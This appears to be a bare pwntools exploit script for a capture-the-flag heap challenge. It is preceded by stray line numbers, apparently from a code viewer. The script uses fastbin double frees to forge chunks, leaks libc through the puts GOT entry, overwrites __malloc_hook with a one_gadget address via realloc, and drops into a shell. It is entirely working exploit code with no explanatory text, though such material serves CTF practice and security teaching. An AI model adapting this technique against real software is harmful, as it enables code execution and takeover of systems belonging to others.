1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *
local = 1
debug = 1
binary = "./vuln"
elf = ELF(binary)
if local:
p = process(binary)
lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
ip = ""
port = ""
p = remote(ip, port)
lib = ""
init(lib, binary, p)
context = init_context(debug)
if lib != "":
libc = ELF(lib)
if debug and local:
ggdb()
name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg = lambda buf : lg_update(name(buf), buf)
def cmd(c):
ru(b'>')
sl(str(c))
def add(idx, size, content):
cmd(1)
ru(b'Index: ')
sl(str(idx))
ru(b'Size: ')
sl(str(size))
ru(b'Content: ')
s(content)
def free(idx):
cmd(2)
ru(b'Index: ')
sl(str(idx))
def show(idx):
cmd(3)
ru(b'Index: ')
sl(str(idx))
add(0, 0x60, 'aaaa')
add(1, 0x60, 'bbbb')
free(1)
free(0)
free(1)
# 1 -> 0 -> 1
note_addr = 0x06020C0
fd = note_addr - 35 # 0x60209d
pad1 = b''
pad1 += p64(fd)
add(2, 0x60, pad1)
add(3, 0x60, b'cccc')
add(4, 0x60, b'dddd')
pad2 = b''
pad2 += b'a' * (35-0x10)
pad2 += p64(elf.got['puts'])
add(5, 0x60, pad2)
# raw_input()
show(0)
libc_base = r7f() - libc.sym['puts']
lg(libc_base)
# 0x7f57fdfc2aed
# 0x7f57fdfc2b10
fake_addr = libc.sym['__malloc_hook'] - 35
free(3)
free(4)
free(3)
# 3 -> 4 -> 3
pad3 = b''
pad3 += p64(fake_addr)
add(6, 0x60, pad3)
add(7, 0x60, b'eeee')
add(8, 0x60, b'ffff')
if local:
one_gadgets = [0x40f30,0x40f35,0xd3fc8]
else:
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
pad4 = b''
pad4 += b'a' * 11
pad4 += p64(libc.address + one_gadgets[3])
pad4 += p64(libc.sym['realloc'] + 6)
add(9, 0x60, pad4)
# raw_input()
cmd(1)
ru(b'Index: ')
sl('10')
ru(b'Size: ')
sl('16')
sh()
|